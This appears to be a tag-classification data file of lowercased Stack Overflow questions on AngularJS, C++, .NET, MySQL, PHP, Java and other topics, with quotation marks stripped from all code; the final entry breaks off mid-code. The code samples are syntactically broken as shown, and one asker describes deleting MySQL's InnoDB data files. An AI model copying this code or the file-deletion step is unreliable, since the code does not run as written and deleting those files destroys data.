custom element directive is not working  i have created angularjs custom element directive. for some reason i cannot get data from directive. below is my application folder structure image    <em>application folder structure</em>    <a href= https://i.stack.imgur.com/udvbh.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/udvbh.png  alt= enter image description here ></a>    <strong>directive.js</strong>   <pre><code>(function() {      use strict ;      angular.module( mymod )      .directive( mydirective   function () {          return {              restrict:  e   //e = element  a = attribute  c = class  m = comment                       scope: true                templateurl: views/directives/header/mytemplate.html                controller:  controller                controlleras:  vm            }      });  })(); </code></pre>   <strong>controller.js (this is directive s controller)</strong>   <pre><code>(function () {      use strict ;      angular         .module( mymod )         .controller( controller   controller);      controller.$inject = [ $location ];       function controller($location) {         /* jshint validthis:true */         var vm = this;         vm.title =  controller ;          activate();          function activate() { }     } })(); </code></pre>   <strong>mytemplate.html</strong>   <pre><code>&lt;div&gt;     hello directive &lt;/div&gt; </code></pre>   <strong>on main html page calling the directive</strong>   <pre><code>   &lt;my-directive&gt;&lt;/my-directive&gt; </code></pre>,angularjs
why is this a pointer <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/645994/why-this-is-a-pointer-and-not-a-reference >why &#39;this&#39; is a pointer and not a reference </a>    </blockquote>     why is <code>this</code> a pointer  rather rhan reference   can it ever be <code>null</code>,c++
guidelines for opening and saving files  i am writing a basic windows program and i am looking for some basic guidelines for handling opening and saving files. {windows} <strong>do you have any resources or do you want to give some pointers </strong>    some of my questions{vb.net if it matters}:    -where do the saved files go  under my documents  appdata      -how do i get the path to those locations  i can t hardcode it.     -using the dialogs in vs  does the dialog remember the last location navigated to  or does it always open to the location set as the default     -how do i restrict the dialog to only show files of a specific file type  (like *.exp  ),.net
add two numbers without knowing their type in .net   how do i add two numbers together when i don t know their type in .net  for example  how would you implement the following function    <pre><code>public object addtwonumbers(object left  object right) {     /* what goes here  */ } </code></pre>   assume that the  left  and  right  parameters are (boxed) value type such as int32  double  decimal  etc. you don t know the specific type  you just know that it s numeric and that addition makes sense for it.    thanks!,.net
mysql giving me a syntax error when trying to create a table. i can t find where this error is  so when trying to create this table the console returns a syntax error that i just can t figure out.   <pre><code>create table photobook( photoid int unsigned not null auto_increment primary key                          filepath varchar(30) null  desc varchar(500) not null); </code></pre>   this returns   <blockquote>    error 1064 (42000): you have an error in your sql syntax; check the   manual that corresponds to your mysql server version for the right   syntax to use near  desc varchar(500) not null)  at line 1  </blockquote>,mysql
my $_session variable will not hold its value. any ideas on why   i want it to increment and decrement the value in <code>$_session[ selection ]</code>.<br> mousedown on next form results in:  <em>the session is 1</em> .<br> mousedown on previous form results in  <em>the session is -1</em> .    here is the code:     <pre><code>  &lt; php      if (isset($_post[ next ])) {       displaynext();     }     else if (isset($_post[ previous ])) {       displayprevious();     }     else {       session_start();       echo  session started ;       $_session[ selection ] = 1;     }      function displaynext() {       $_session[ selection ] = $_session[ selection ] + 1;       echo  the session is $_session[selection] ;     }      function displayprevious() {       if ($_session[ selection ] != 1) {         $_session[ selection ] = $_session[ selection ] - 1;       }       echo  the session is $_session[selection] ;     }       &gt;      &lt;form action= &lt; =$_server[ php_self ]; &gt;  method= post &gt;       &lt;input type= submit  name= previous  value= previous &gt;     &lt;/form&gt;      &lt;form action= &lt; =$_server[ php_self ]; &gt;  method= post &gt;       &lt;input type= submit  name= next  value= next &gt;     &lt;/form&gt; </code></pre>,php
how do you correctly loop after an error is catched   i have my database project going on.  contains following classes:    <code>main</code>    <code>studentcollection</code>    <code>student</code>    inside my <code>studentcollection</code> class i have the following method/query:   <pre><code>public students getstudentforindex(int index){     try {         return list.get(index);     }catch(inputmismatchexception e){         system.out.println( incorrect character entered );         return null;     } } </code></pre>   i would like to get your suggestions on how i should tackle looping through the method.    reason - if user inputs an error  i want to warn the user of that error and ask him to input again  continuously catching the possible errors thrown,java
include a html page inside another html file on button click  i have many html files  of which one is the main html page on which i have many buttons. what i want is to load the content of one file on the main html file in the desired div tag. i dont want a single file to contain whole html text  so i want to separate the html text in different file and load only that part on button click which user clicks.,html
cannot fix syntax error: unexpected token  <   i have been trying to fix a piece of javascript code but am not having any luck.  the syntax looks correct but i keep getting an unexpected token  &lt;  syntax error.    please do not mark this question as a duplicate since i could not find the answer to my problem on this site.    javascript:   <pre><code>// function to get elements by class name for dom fragment and tag name  function getelementsbyclassname(objelement  strtagname  strclassname) { var objcollection = objelement.getelementsbytagname(strtagname); var arreturn = []; var strclass  arclass  iclass  icounter;  for(icounter=0; icounter&lt;objcollection.length; icounter++) {     strclass = objcollection[icounter].classname;     if (strclass)     {         arclass = strclass.split(   );         for (iclass=0; iclass&lt;arclass.length; iclass++)         {             if (arclass[iclass] == strclassname)             {                 arreturn.push(objcollection[icounter]);                 break;             }         }     } }  objcollection = null; return (arreturn); }  var drag = { objcurrent : null   artargets : [ fav    tol    rej ]   initialise : function(objnode) {     // add event handlers     objnode.onmousedown = drag.start;     objnode.onclick = function() {this.focus();};     objnode.onkeydown = drag.keyboarddragdrop;     document.body.onclick = drag.removepopup; }   keyboarddragdrop : function(objevent) {     objevent = objevent || window.event;     drag.objcurrent = this;     var archoices = [ favourite artists    tolerable artists    rejected artists ];     var ikey = objevent.keycode;     var objitem = drag.objcurrent;          var strexisting = objitem.parentnode.getattribute( id );         var objmenu  objchoice  icounter;          if (ikey == 32)         {             document.onkeydown = function(){return objevent.keycode==38 || objevent.keycode==40   false : true;};             // set aria properties             drag.objcurrent.setattribute( aria-grabbed    true );             drag.objcurrent.setattribute( aria-owns    popup );             // build context menu             objmenu = document.createelement( ul );             objmenu.setattribute( id    popup );             objmenu.setattribute( role    menu );             for (icounter=0; icounter&lt;archoices.length; icounter++)             {                 if (drag.artargets[icounter] != strexisting)                 {                     objchoice = document.createelement( li );                     objchoice.appendchild(document.createtextnode(archoices[icounter]));                     objchoice.tabindex = -1;                     objchoice.setattribute( role    menuitem );                     objchoice.onmousedown = function() {drag.dropobject(this.firstchild.data.substr(0  3));};                     objchoice.onkeydown = drag.handlecontext;                     objchoice.onmouseover = function() {if (this.classname.indexof( hover ) &lt; 0) {this.classname +=   hover ;} };                     objchoice.onmouseout = function() {this.classname = this.classname.replace(/\s*hover/    ); };                     objmenu.appendchild(objchoice);                 }             }             objitem.appendchild(objmenu);             objmenu.firstchild.focus();             objmenu.firstchild.classname =  focus ;             drag.identifytargets(true);         } }   removepopup : function() {     document.onkeydown = null;      var objcontext = document.getelementbyid( popup );      if (objcontext)     {         objcontext.parentnode.removechild(objcontext);     } }   handlecontext : function(objevent) {     objevent = objevent || window.event;     var objitem = objevent.target || objevent.srcelement;     var ikey = objevent.keycode;     var objfocus  objlist  strtarget  icounter;      // cancel default behaviour     if (objevent.stoppropagation)     {         objevent.stoppropagation();     }     else if (objevent.cancelbubble)     {         objevent.cancelbubble = true;     }     if (objevent.preventdefault)     {         objevent.preventdefault();     }     else if (objevent.returnvalue)     {         objevent.returnvalue = false;     }      switch (ikey)     {         case 38 : // down arrow             objfocus = objitem.nextsibling;             if (!objfocus)             {                 objfocus = objitem.previoussibling;             }             objitem.classname =   ;             objfocus.focus();             objfocus.classname =  focus ;             break;         case 40 : // up arrow             objfocus = objitem.previoussibling;             if (!objfocus)             {                 objfocus = objitem.nextsibling;             }             objitem.classname =   ;             objfocus.focus();             objfocus.classname =  focus ;             break;         case 13 : // enter             strtarget = objitem.firstchild.data.substr(0  3);             drag.dropobject(strtarget);             break;         case 27 : // escape         case 9  : // tab             drag.objcurrent.removeattribute( aria-owns );             drag.objcurrent.removechild(objitem.parentnode);             drag.objcurrent.focus();             for (icounter=0; icounter&lt;drag.artargets.length; icounter++)             {                 objlist = document.getelementbyid(drag.artargets[icounter]);                 drag.objcurrent.setattribute( aria-grabbed    false );                 objlist.removeattribute( aria-dropeffect );                 objlist.classname =   ;             }             break;     } }   start : function(objevent) {     objevent = objevent || window.event;     drag.removepopup();     // initialise properties     drag.objcurrent = this;      drag.objcurrent.lastx = objevent.clientx;     drag.objcurrent.lasty = objevent.clienty;     drag.objcurrent.style.zindex =  2 ;     drag.objcurrent.setattribute( aria-grabbed    true );      document.onmousemove = drag.drag;     document.onmouseup = drag.end;     drag.identifytargets(true);      return false; }   drag : function(objevent) {     objevent = objevent || window.event;      // calculate new position     var icurrenty = objevent.clienty;     var icurrentx = objevent.clientx;     var iypos = parseint(drag.objcurrent.style.top  10);     var ixpos = parseint(drag.objcurrent.style.left  10);     var inewx  inewy;      inewx = ixpos + icurrentx - drag.objcurrent.lastx;     inewy = iypos + icurrenty - drag.objcurrent.lasty;      drag.objcurrent.style.left = inewx +  px ;     drag.objcurrent.style.top = inewy +  px ;     drag.objcurrent.lastx = icurrentx;     drag.objcurrent.lasty = icurrenty;      return false; }   calculateposition : function (objelement  stroffset) {     var ioffset = 0;      // get offset position in relation to parent nodes     if (objelement.offsetparent)     {         do          {             ioffset += objelement[stroffset];             objelement = objelement.offsetparent;         } while (objelement);     }      return ioffset; }   identifytargets : function (bhighlight) {     var strexisting = drag.objcurrent.parentnode.getattribute( id );     var objlist  icounter;      // highlight the targets for the current drag item     for (icounter=0; icounter&lt;drag.artargets.length; icounter++)     {         objlist = document.getelementbyid(drag.artargets[icounter]);         if (bhighlight &amp;&amp; drag.artargets[icounter] != strexisting)         {             objlist.classname =  highlight ;             objlist.setattribute( aria-dropeffect    move );         }         else         {             objlist.classname =   ;             objlist.removeattribute( aria-dropeffect );         }     } }   gettarget : function() {     var strexisting = drag.objcurrent.parentnode.getattribute( id );     var icurrentleft = drag.calculateposition(drag.objcurrent   offsetleft );     var icurrenttop = drag.calculateposition(drag.objcurrent   offsettop );     var itolerance = 40;     var objlist  ileft  iright  itop  ibottom  icounter;      for (icounter=0; icounter&lt;drag.artargets.length; icounter++)     {         if (drag.artargets[icounter] != strexisting)         {             // get position of the list             objlist = document.getelementbyid(drag.artargets[icounter]);             ileft = drag.calculateposition(objlist   offsetleft ) - itolerance;             iright = ileft + objlist.offsetwidth + itolerance;             itop = drag.calculateposition(objlist   offsettop ) - itolerance;             ibottom = itop + objlist.offsetheight + itolerance;              // determine if current object is over the target             if (icurrentleft &gt; ileft &amp;&amp; icurrentleft &lt; iright &amp;&amp; icurrenttop &gt; itop &amp;&amp; icurrenttop &lt; ibottom)             {                 return drag.artargets[icounter];             }         }     }      // current object is not over a target     return   ; }   dropobject : function(strtarget) {     var objclone  objoriginal  objtarget  objempty  objbands  objitem;      drag.removepopup();      if (strtarget.length &gt; 0)     {         // copy node to new target         objoriginal = drag.objcurrent.parentnode;         objclone = drag.objcurrent.clonenode(true);          // remove previous attributes         objclone.removeattribute( style );         objclone.classname = objclone.classname.replace(/\s*focused/    );         objclone.classname = objclone.classname.replace(/\s*hover/    );          // add focus indicators         objclone.onfocus = function() {this.classname +=   focused ; };         objclone.onblur = function() {this.classname = this.classname.replace(/\s*focused/    );};         objclone.onmouseover = function() {if (this.classname.indexof( hover ) &lt; 0) {this.classname +=   hover ;} };         objclone.onmouseout = function() {this.classname = this.classname.replace(/\s*hover/    ); };          objtarget = document.getelementbyid(strtarget);         objoriginal.removechild(drag.objcurrent);         objtarget.appendchild(objclone);         drag.objcurrent = objclone;         drag.initialise(objclone);          // remove empty node if there are artists in list         objempty = getelementsbyclassname(objtarget   li    empty );         if (objempty[0])         {             objtarget.removechild(objempty[0]);         }          // add an empty node if there are no artists in list         objbands = objoriginal.getelementsbytagname( li );         if (objbands.length === 0)         {             objitem = document.createelement( li );             objitem.appendchild(document.createtextnode( none ));             objitem.classname =  empty ;             objoriginal.appendchild(objitem);         }     }             // reset properties     drag.objcurrent.style.left =  0px ;     drag.objcurrent.style.top =  0px ;      drag.objcurrent.style.zindex =  auto ;     drag.objcurrent.setattribute( aria-grabbed    false );     drag.objcurrent.removeattribute( aria-owns );      drag.identifytargets(false); }   end : function() {     var strtarget = drag.gettarget();      drag.dropobject(strtarget);      document.onmousemove = null;     document.onmouseup   = null;     drag.objcurrent = null; } };  function init () { var objitems = getelementsbyclassname(document   li    draggable ); var objitem  icounter;  for (icounter=0; icounter&lt;objitems.length; icounter++) {     // set initial values so can be moved     objitems[icounter].style.top =  0px ;     objitems[icounter].style.left =  0px ;      // put the list items into the keyboard tab order     objitems[icounter].tabindex = 0;      // set aria attributes for artists     objitems[icounter].setattribute( aria-grabbed    false );     objitems[icounter].setattribute( aria-haspopup    true );     objitems[icounter].setattribute( role    listitem );      // provide a focus indicator     objitems[icounter].onfocus = function() {this.classname +=   focused ; };     objitems[icounter].onblur = function() {this.classname = this.classname.replace(/\s*focused/    );};     objitems[icounter].onmouseover = function() {if (this.classname.indexof( hover ) &lt; 0) {this.classname +=   hover ;} };     objitems[icounter].onmouseout = function() {this.classname = this.classname.replace(/\s*hover/    ); };      drag.initialise(objitems[icounter]); }  // set aria properties on the drag and drop list  and set role of this region to application for (icounter=0; icounter&lt;drag.artargets.length; icounter++) {     objitem = document.getelementbyid(drag.artargets[icounter]);     objitem.setattribute( aria-labelledby   drag.artargets[icounter] +  h );     objitem.setattribute( role    list ); }  objitem = document.getelementbyid( dragdrop ); objitem.setattribute( role    application );   objitems = null; }  window.onload = init; </code></pre>,javascript
objective-c code blocks as nested method  is it possible to have an nested method in obj-c. what i an trying to do is create a specific object when initialising an <code>nsarray</code>:   <pre><code>nsarray array = @[ ^{ nsviewcontroller someobject = ...      someobject.someobjectproperty = @ bla ;     return someobject}    ^{ nsviewcontroller someotherobject = ...      someotherobject.someotherobjectproperty = @ bla bla ;     return someobject}   ]; </code></pre>   the array contains <code>__nsglobalblock__</code>  where i am trying to get <code>[someobject  someotherobject]</code>    the array is returning a stack of viewcontrollers and i need to set different properties on each of them.    thanks,objective-c
google: how to prevent subpages from appearing in results  i have a fairly new website which allows people to create their own profiles and such. the issue is that when someone links to their profile from their website/blog  their profile shows up in google searches for my website - and to date the <b>one</b> person who has done this has a nsfw profile. which means  when you search for my site on google one of the top results is a nsfw page.    how do i prevent google from listing subpages in the results  would robots.txt solve this  and if a page is <i>already</i> listed  will adding an entry in robots.txt disallowing access to profile pages in general end up removing it from the results,html
odbc 3.51 driver can t connect to mysql server on localhost (10061)  exactly what the title said; i m trying to configure an odbc connection for mysql 5.0  but upon clicking <em>test data source</em>  it returns the above error.    i m pretty sure most of you have seen this question before  and i did do some research before thinking about posting this  but so far  none of what i found and tried were able to help.    i m using mysql 5.0  running on windows 7 32-bit. i can browse the database fine with the mysql query browser which means (i m assuming) that the username and password are fine.    there is a  mysql 5 - started  under services. i named it that way because i had installed an older version of mysql (3  iirc) for a project. since i don t need it yet  i disabled it (it s not running).    here s what i tried:   <ul> <li>firewalls were disabled to begin with.</li> <li>replacing the  localhost  with  127.0.0.1  (didn t work)</li> <li>going into command prompt  cd to c:\program files\mysql\mysql server 5.0\bin  and executing  mysqld-nt (i have no idea what that is for  but it didn t do anything)</li> <li>running  telnet localhost 3306  in the command prompt returns  could not open connection to the host   on port 3306: connect failed.</li> <li>stopping the service  going into c:\program files\mysql\mysql server 5.0\data  deleting ib_logfile0  ib_logfile1  and ibdata1  and then restarting the service (didn t work).</li> </ul>   i m assuming here that it might have something to do with the port 3306  as typing netstat -a in the command prompt gets me a list with no 3306 in it (as far as my eye can tell)  so i m not really sure how to proceed (port forwarding  don t know how to do that).    any help would be much appreciated. thanks.,mysql
use jquery to resize div width when wrapping  is there a way to change the width of a div  (i m using it as an inline block) to become exactly the necessary width needed whenever some of its contents wrap     i m not too experienced in jquery..     also  i m using the version 1.8.3,jquery
which function is invoked once the view has completely finished loading   which function is invoked once a view (loaded from nib file) has completely finished loading on iphone,iphone
difference between convert.toint32(string) and int32.parse   exact duplicate: <a href= https://stackoverflow.com/questions/18465/net-parse-verses-convert >.net parse versus convert</a> can anyone help me,.net
getch just refuses to work for me as it should  i am new to c and so i wanted to get more experience with the libraries function. when i started fiddling with getch() i could t for the life of me get it to work. all that happened was that the characters were echoed back to the console and i could type multiple and even press enter without it continuing throughout the program. here is a little test code i made. any idea where i am going wrong    <pre><code>#include &lt;stdlib.h&gt; #include &lt;stdio.h&gt; #include &lt;conio.h&gt;    int main(){    char i =  9 ;    i = getch();    printf( %c   i);  } </code></pre>   edit: thank you all for your answers although i could ve been more clear on what i wanted. i want to be getch() to be used almost like fgets() except i don t want it to echo and i want the console to accept the character entered immediately without any enter key pressed. is getch the wrong tool to do this with,c
extending the search reset time in an html select box  this question is slightly related to the following thread  except that i have the exact opposite problem:     <a href= https://stackoverflow.com/questions/7434675/html-select-eliminating-browser-delay-on-keypress-to-change >html select: eliminating browser delay on keypress-to-change </a>    when running select boxes  there is a length of time specified during which if you press another key it will extend the search to include that letter. for instance  if i press b  it will search for options starting with  b . if i hit r within about a half second  it will search for options starting with  br ; however  if i wait too long it will begin a new search for options starting with  r .    my problem is that i have a user who needs a longer delay. she is a rather important user and we have to keep her needs satisfied. one frustration she has voiced numerous times is that the  search in the drop-down menu keeps starting over if she doesn t type fast enough . the simplest solution to me seems to be to increase the length of time of the delay so that the search doesn t restart for  say  2 or 3 seconds after the last character was typed. i haven t been able to figure out how to do this  however  and i was hoping someone here good point me in the direction of a good fix. thanks in advance for the help!,html
how to create a dotted line with symmetrical corners  i m creating a dotted line from a <code>uibezierpath</code> which looks like this:    <img src= https://i.stack.imgur.com/zlbgt.png  alt= dotted line >    this is the code i use to construct and draw the path:   <pre><code>const cgcontextref context = uigraphicsgetcurrentcontext();  const cgsize visiblesize = cgsizemake(self.width - (kindent * 2)  self.height - (kindent * 2)); uibezierpath *borderpath = [uibezierpath bezierpathwithroundedrect:cgrectmake(kindent  kindent  visiblesize.width  visiblesize.height) cornerradius:kcornerradius]; cgcontextsetstrokecolorwithcolor(context  [uicolor colorwithwhite:1.0 alpha:0.5].cgcolor); [borderpath setlinewidth:2.0]; [borderpath setlinecapstyle:kcglinecapround];  const cgfloat pattern[] = {6  6}; [borderpath setlinedash:pattern count:2 phase:0];  [borderpath stroke]; </code></pre>   what i want is for each corner of my square to have the exact same curvatures as each other. i know this will ultimately be determined by my pattern values. i have tried calculating different values from the width of the shape (the width changes with screen width)  but i can t get my desired look.    has anyone done this before  or have any ideas to share about how i d do this,ios
how do i determine if a .net application is 32 or 64 bit   i have a .net application that was supposed to be compiled as a 32-bit only application. i suspect my build server isn t actually doing it.     how do i determine if a .net application is actually set to run in 32-bit mode,.net
incompatibility between ng-value and ng-model  i have a problem using ng-value and ng-model. if i use ng-value  data does not bind. is there a way to have both     <pre><code>&lt;select next-focus tabindex= 0  ng-model= plan.tipo_plan  class= input-sm select-control &gt;     &lt;option ng-repeat= p in planes  ng-value= {{p.id_tipo}} &gt;{{p.tipo_plan}}&lt;/option&gt; &lt;/select&gt; </code></pre>,angularjs
add class to li on clicking ul tag using jquery  i m clicking on ul tag and it has many li tags.. which ever li tag i click it should add a class  open  . here is my code   <pre><code>$(document).on( click    .navbar   function(e) {        $(this).find( li ).addclass( open ); }); </code></pre>  <h2>html code</h2>  <pre><code>&lt;ul class= navbar &gt;      &lt;li&gt;&lt;/li&gt;      &lt;li&gt;&lt;/li&gt;  &lt;/ul&gt; </code></pre>,jquery
use jquery to enable textbox on button click  how do i enable a textbox on a link button click  i m disabling the textbox in the html    here is the jquery code i m trying to use:   <pre><code>&lt;script type= text/javascript  language= javascript &gt;         $(document).ready(function () {         $( #ledit ).click(function () {             $( #corporationname ).removeattr( disabled );         });     }); &lt;/script&gt;  &lt;asp:linkbutton id= ledit  runat= server  clientidmode= static  &gt;edit&lt;/asp:linkbutton&gt; &lt;asp:label id= lblcorporationname  runat= server  text= corporation name  width= 130px &gt;&lt;/asp:label&gt; &lt;asp:textbox id= corporationname  runat= server  width= 250px  clientidmode= static  enabled= false &gt;&lt;/asp:textbox&gt; </code></pre>,jquery
stop undefined url s showing home page  my website stays on the home page if anything is added for example my page seananderson.co.uk if i type seananderson.co.uk/ page=spam it would display the home page  how should i remove this so that only the page displays on the index.,html
how to retrieve value from map   here is my code   <pre><code>iterator it = request.getparametermap().entryset().iterator();         while (it.hasnext()) {             map.entry pairs = (map.entry)it.next();             system.out.println(pairs.getkey() +   =   + pairs.getvalue());             it.remove(); // avoids a concurrentmodificationexception         } </code></pre>   where request is httpservletrequest. here is output i am getting in console   <pre><code>id = [ljava.lang.string;@3f13bf94 title = [ljava.lang.string;@5eea278c dlphone = [ljava.lang.string;@98a6bd1 name = [ljava.lang.string;@77736513 </code></pre>   why this ljava.lang.string     how to get exact value,java
why have duplicated properties for image size   when checking out the specification for the <a href= https://msdn.microsoft.com/en-us/library/system.drawing.image(v=vs.110).aspx  rel= nofollow  title= image class ><code>image</code> class</a>  i noticed there are three ways to access the <code>width</code> and <code>height</code> of the object:   <ol> <li>use <code>height</code>/<code>width</code> property  which returns <code>int32</code></li> <li>use <code>size</code> property  which returns <code>size</code> that has <code>height</code>/<code>width</code> as <code>int32</code></li> <li>use <code>physicaldimension</code> property  which returns <code>sizef</code>  that has <code>height</code>/<code>width</code> as <code>float</code></li> </ol>   what is the reason behind this   are they guaranteed to be always the same   is one preferred over the other      the third one seems to make some sense since it could be either the size in pixels  if the object is a bitmap or the size in millimiter units if it is a metafile.,.net
is it possible to add new table attribute with serverside data in jquery datatable  currently what i get against my every table row is    <code>&lt;tr id= 123  class= odd  data-title= abc &gt;</code>    i am adding data-title attributes using    <code> fncreatedrow : function (nrow  adata  idataindex) {<br>                 $(nrow).attr( data-title    abc ); }</code>    what i want to accomplish is to get my value instead of abc for data-title attribute in table row  is their any way of doing this in datatables  my data comes from serverside as <code>{ secho : 1   itotalrecords :193  itotaldisplayrecords :193  aadata :[{ userid :0  dt_rowid :123   data_title :  test }]}</code>    thanks in advance for help.,jquery
are there any unique id for every user connects to my web server   i need a unique id for every user connects to my web server(web site).  how can i earn it,asp.net
java.lang.classcastexception: java.lang.string cannot be cast to java.lang.long  i created this simple example which is used to read linux uptime:   <pre><code>public string getmachineuptime() throws ioexception {     string[] dic = readdata().split(   );      long s = (long) array.get(dic  1);     return calculatetime(s); }  private string readdata() throws ioexception {     byte[] filebytes;     file myfile = new file( /proc/uptime );     if (myfile.exists()) {         try {             filebytes = files.readallbytes(myfile.topath());         } catch (java.nio.file.accessdeniedexception e) {             return null;         }          if (filebytes.length &gt; 0) {             return new string(filebytes);         }     }     return null; }  private string calculatetime(long seconds) {     int day = (int) timeunit.seconds.todays(seconds);     long hours = timeunit.seconds.tohours(seconds)             - timeunit.days.tohours(day);     long minute = timeunit.seconds.tominutes(seconds)             - timeunit.days.tominutes(day)             - timeunit.hours.tominutes(hours);     long second = timeunit.seconds.toseconds(seconds)             - timeunit.days.toseconds(day)             - timeunit.hours.toseconds(hours)             - timeunit.minutes.toseconds(minute);      return  day   + day +   hour   + hours +   minute   + minute             +   seconds   + second; } </code></pre>   when i run the code i get this exception:   <blockquote>    java.lang.classcastexception: java.lang.string cannot be cast to java.lang.long  </blockquote>   is there any other way to convert the result,java
c# variable and positioning  so i m new to programming and coding. i have a code that i m writing in c# and after the weight i m supposed to add the word pounds to the end of it. whats the easiest way to do so    <pre><code>using system;  namespace cse1301_bmrp {     class mainclass     {         public static void main (string[] args)         {             console.write ( hello! whats your name:  );             string name;              name = console.readline ();             console.writeline( hello    + name);             console.write ( how old are you :  );             string age;              age = console.readline ();             console.writeline (  i am    + age);             console.writeline ( wow  you re young. how much do you weigh :  );             float weight;             weight = float.parse(console.readline ());             console.writeline ( your weight is   + weight );          }     } } </code></pre>,c#
how to $setdirty() form using directive in angularjs  when the inputbox will change  then i d like to set my form to dirty. i want to make it using directive. this is what i already did.    html:   <pre><code>&lt;form name= myform &gt;     &lt;type= text  ng-model= mymodel  set-form-dirty&gt; &lt;/form&gt; </code></pre>   directive:   <pre><code>app.directive( setformdirty   function () {  return {         require:  ngmodel           link: function(scope  element  attrs  ngmodel) {            scope.$watch(function () {               return ngmodel.$modelvalue;            }  function(newvalue) {                console.log(newvalue);             // here i should set form to dirty. but i don t know how             });         }      }; }); </code></pre>  <hr>   @edit    i need this because <code>mymodel</code> is changing by different function. and that function won t set form to <code>$dirty</code>,angularjs
visual studio new dialog box doesn t open  i am creating a new empty web application project while checking the options for webforms and mvc. but when i create the project  the dialog box doesn t appear and i can t figure out how to check the options for webforms and mvc. i click new - project - web - asp.net empty web application  and then some dialog box is suppose to appear so i can click webforms and mvc but it doesn t. how do i include them if the box doesn t appear,.net
make a vertical uibutton  is there anyway to have a uibutton display vertical  with the text reading down  instead of across  can you do it with ib or programatically  or will you have to photoshop to make a custom button     cheers  sam,iphone
there is always a little space under images inside a table  i ll provide direct link for people who wants to see it live.    just hover one of the table listing and you ll see there is always a small space under images. i ve tried padding  margin  searched stackoverflow for it and used border spacing  border collapse etc. but nothing helped so far.    i would like your help. what s the problem and what am i missing,css
asp.net validation for multiple text boxes  i have two asp:textbox. user needs to enter value in at-least one of the text boxes. please let me know how to validate to make sure data is entered in atleast one of the boxes. thanks.,asp.net
arabic text in code restricting ascii characters to respond properly  i have added few arabic texts in my code  which will be printed on a bilingual icr. after adding these texts  a parameter which was printing bold and larger in size is not printing in that way. earlier in my code i have used few ascii characters to bold that appended parameter. after adding arabic text   <pre><code>strreceipt.append( my name:  + convert.tochar(27).tostring() +    convert.tochar(33).tostring() + convert.tochar(35).tostring() +    myname_inarabic+ convert.tochar(27).tostring() +   convert.tochar(33).tostring() +  \r\n );   strreceipt.append(convert.tochar(27).tostring() +   convert.tochar(33).tostring() + convert.tochar(35).tostring() +   myname_inarabic + convert.tochar(27).tostring() +   convert.tochar(33).tostring() +  اسمي:  +  \r\n );  </code></pre>   myname_inarabic must be bold and larger in size.,asp.net
making my function more concise  i ve been trying different ways to make this function more concise  or as my friend calls it  slick    any help here     <pre><code>def craps():     from random import randint     dice = 0     loop = 0     while loop &lt; 1:         d1 = randint(1 6)         d2 = randint(1 6)         roll = d1 + d2         dice += 1         print(d1  d2)         while dice == 1:             first=roll             if roll in {2 3 12}:                 loop += 1                 return 0             elif roll in {7 11}:                 loop += 1                 return 1             else:                 break         while dice != 1:             if first==roll:                 loop += 1                 return 1             elif roll==7:                 loop += 1                 return 0             else:                 break  </code></pre>,python
separated string into specific temp table colums  i am using a <code>right(left())</code> method of stripping a string as each character needs to be put into its own holder so i can access it and use it for a report (each character needs to be in its own box for some reason).    there are 16 characters usually but for space and to save repition i ve slimmed down the code.    what i am trying to do is put the separated character value into the corresponding column of the temp table - how is this best achieved     i have no other use for this data once used i ll destroy it.    <strong>code</strong>   <pre><code>create table #stringseparate ( col1 varchar(1)  col2 varchar(1)  col3 varchar(1)  col4 varchar(1)  col5 varchar(1)  col6 varchar(1)  col7 varchar(1)  col8 varchar(1)  )  declare @string varchar(16) set @string =  tpg22052015-1204   select left(@string 1)  right(left(@string 2) 1)  right(left(@string 3) 1)  right(left(@string 4) 1)  right(left(@string 5) 1)  right(left(@string 6) 1)  right(left(@string 7) 1)  right(left(@string 8) 1) into #string separate </code></pre>,sql
versioning an asp.net web app  i m not even sure if versioning is the right word for it  but it ll have to do. i want to start putting a  version x.x.xx  note on our internal apps by request of our users  so they have a rough of idea of when it gets updated (and in the future  make that a link that shows changes). it seems like using the assemblyinfo.cs file is a good idea - it lets you automatically update the build+revision which is nice (for the .dll of the web application).    is this a decent approach  then whenever i reach the major/minor version milestones for my app. i can just update those manually  correct  all of this assumes i can actually get the version information from my app. somehow  which i haven t a clue how to do either.,asp.net
does a smart pointer support invoking a member function via a pointer  <pre><code>#include &lt;iostream&gt; #include &lt;boost/shared_ptr.hpp&gt; #include &lt;boost/make_shared.hpp&gt;  class base { public:     int fun1(int i){return i * 1;} };  int main(){     int (base::*pf2)(int);     boost::shared_ptr&lt;base&gt; pb = boost::make_shared&lt;base&gt;();     pf2 = &amp;base::fun1;     std::cout &lt;&lt; (pb-&gt;*pf2)(3) &lt;&lt; std::endl; // compile wrong: error: no match for  operator-&gt;*  in  pb -&gt;* pf2 | } </code></pre>   does this mean the boost library do not implement  ->*  operator to support the use it to invoke member function pointer,c++
loop over input in c-code and write data to different files using terminal at once  i wrote a c code which extracts data from a binary file which has size around 1 gb. there are 101 (0 to 100)configurations and the c code extracts data for a selected configuration and writes the output in a file. to compile the c code  i give user defined configuration number like this in the terminal:   <pre><code>gcc binary2textperconfig.c -o f.out ./f.out proton-p000-1.bin out1.txt </code></pre>   then it asks for configuration number:    <pre><code>enter the configuration number: </code></pre>   after that the data is written in file  out0.txt . now i want to run this code for all 101 configurations and write those data to files  out0.txt    out1.txt  ....   out100.txt  etc. i don t know how to do this without typing the configuration numbers 101 times in the terminal. could any one please help me  here is my c-code:   <pre><code>#include &lt;stdio.h&gt; #include&lt;complex.h&gt; #include&lt;math.h&gt; #include &lt;stdlib.h&gt; #include &lt;gsl/gsl_sf_gamma.h&gt; #include &lt;gsl/gsl_matrix.h&gt;   typedef double complex  dcomplex;   //data is converted to bigendian using io-general  double constructfloat(char bytes[sizeof(double)/2]   int order) {     double dres;     char *pc;     int i;      if (order == 0)         for(i=0  pc = (char*) &amp;dres; i&lt;=sizeof(double)-1 ; i++  pc++)             (*pc) = bytes[i];     else         for(i=sizeof(double)-1  pc = (char*) &amp;dres; i&gt;=0; i--  pc++)             (*pc) = bytes[i];      return dres; }   int main(int argc  char *argv[]){        int configcount = 101;     int mcount = 14;     int tcount = 64;     int d1count = 4;     int d2count = 4;     int pcount = 45;       int userci;     int usermi;     int userpi;       // number of complex numbers per configuration     int unitcountperconfig =(mcount*tcount*d1count*d2count*pcount);       // initialize loop index variables     int ci = 0; //config     int mi = 0; //mass     int ti = 0;     int d1i = 0;     int d2i = 0;     int pi = 0; //momentum      // for holding the result of read operation ( how many units have been read)     int result;      // for holding the data read from file     char * cbuff;       // input file handle from where binary data is read     file * fin = fopen(argv[1]  rb );      // if the input file 